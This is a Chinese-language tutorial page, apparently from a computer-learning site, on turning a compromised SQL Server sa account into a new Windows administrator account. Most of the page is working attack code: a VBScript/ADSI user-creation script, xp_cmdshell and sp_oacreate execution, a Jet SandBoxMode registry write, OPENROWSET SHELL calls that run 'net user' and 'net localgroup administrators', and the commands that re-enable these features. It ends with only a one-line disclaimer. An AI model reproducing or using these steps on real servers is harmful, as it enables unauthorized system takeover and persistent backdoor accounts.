萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> SQL Server 教學

SQL Server sa 權限入侵後添加管理員帳號的多種實戰手法

取得 sa 密碼後,若 net.exe/net1.exe 受限無法建立帳號,可利用 VBScript/ADSI、擴展預存程序 xp_cmdshell、sp_oacreate、OPENROWSET (Jet OLEDB) 等多種途徑在作業系統層級建立管理員帳號。

方法一:VBScript + ADSI(繞過 CMD)

Set ws = CreateObject("WScript.Network")
os = "WinNT://" & ws.ComputerName
Set ob = GetObject(os)
Set oe = GetObject(os & "/Administrators,group")
Set od = ob.Create("user", "test")
od.SetPassword "ComplexPass123"
od.SetInfo
Set of = GetObject(os & "/test,user")
oe.Add os & "/test"

存為 1.vbs,在查詢分析器以 xp_cmdshell 執行:

EXEC master..xp_cmdshell 'cscript c:\1.vbs'

方法二:xp_cmdshell 直接寫入 .vbs 再執行

DECLARE @o INT, @f INT
EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_oamethod @o, 'CreateTextFile', @f OUT, 'c:\1.vbs', 1
-- 逐行寫入上述 VBS 程式碼(略)
EXEC master..xp_cmdshell 'cscript c:\1.vbs'

方法三:Jet Sandbox 模式 + OPENROWSET(繞過 xp_cmdshell 限制)

  1. 啟用 Sandbox:EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
  2. 利用系統內建 ias.mdb 執行命令:
    SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
      ';database=c:\windows\system32\ias\ias.mdb',
      'SELECT SHELL("cmd.exe /c net user test ComplexPass123 /add")')
    SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
      ';database=c:\windows\system32\ias\ias.mdb',
      'SELECT SHELL("cmd.exe /c net localgroup administrators test /add")')
  3. 路徑依 OS 版本調整:NT/2K c:\winnt\system32\;XP/2003 c:\windows\system32\。

SQL Server 2005+ 需先啟用相關進階選項

-- xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- OPENROWSET / Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;

-- sp_oacreate (Ole Automation Procedures)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
安全警示:本文僅供防禦研究與滲透測試授權範圍參考,嚴禁用於非法入侵。生產環境應嚴格限制 sa、停用 xp_cmdshell、Ole Automation、Ad Hoc Distributed Queries,並實施最小權限原則。
copyright © 萬盛學電腦網 all rights reserved